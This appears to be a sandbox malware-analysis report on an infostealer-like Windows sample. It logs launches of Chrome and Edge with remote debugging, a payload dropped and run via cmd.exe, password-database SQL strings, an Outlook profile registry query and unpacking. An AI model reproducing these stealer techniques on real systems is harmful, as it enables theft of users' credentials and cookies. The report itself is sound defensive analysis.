Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000001.00000003.2476664006.000000001DBAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2386006957.000000001DBB9000.00000004.00000020.00020000.00000000.sdmp, JDHCBAEHJJJKKFIDGHJE.1.dr, BAEHIEBGHDAFIEBGIEHJ.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.2722567425.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730387540.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000001.00000002.2722567425.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730387540.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsJDAFIEHIEG.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2180,i,2346990794852362482,14346715251733473473,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2152,i,10331360522470495270,3768999544705103513,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6572 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6796 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDAFIEHIEG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDAFIEHIEG.exe "C:\Users\user\DocumentsJDAFIEHIEG.exe"
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7400 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDAFIEHIEG.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2180,i,2346990794852362482,14346715251733473473,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2152,i,10331360522470495270,3768999544705103513,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6572 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6796 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7400 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDAFIEHIEG.exe "C:\Users\user\DocumentsJDAFIEHIEG.exe"
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1774080 > 1048576

Source: file.exe

Static PE information: Raw size of qrmcidjs is bigger than: 0x100000 < 0x197400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2731452590.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2731452590.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.a60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qrmcidjs:EW;ltolhlcg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qrmcidjs:EW;ltolhlcg:EW;.taggant:EW;
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Unpacked PE file: 20.2.DocumentsJDAFIEHIEG.exe.150000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xkdkavkl:EW;ngrxgfaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xkdkavkl:EW;ngrxgfaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.ef0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xkdkavkl:EW;ngrxgfaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xkdkavkl:EW;ngrxgfaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.ef0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xkdkavkl:EW;ngrxgfaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xkdkavkl:EW;ngrxgfaz:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C56C410 LoadLibraryW,GetProcAddress,FreeLibrary,

1_2_6C56C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1b57eb should be: 0x1b5209
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: real checksum: 0x1c8faf should be: 0x1cb1c1
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x1c8faf should be: 0x1cb1c1
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x1c8faf should be: 0x1cb1c1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qrmcidjs
Source: file.exe	Static PE information: section name: ltolhlcg
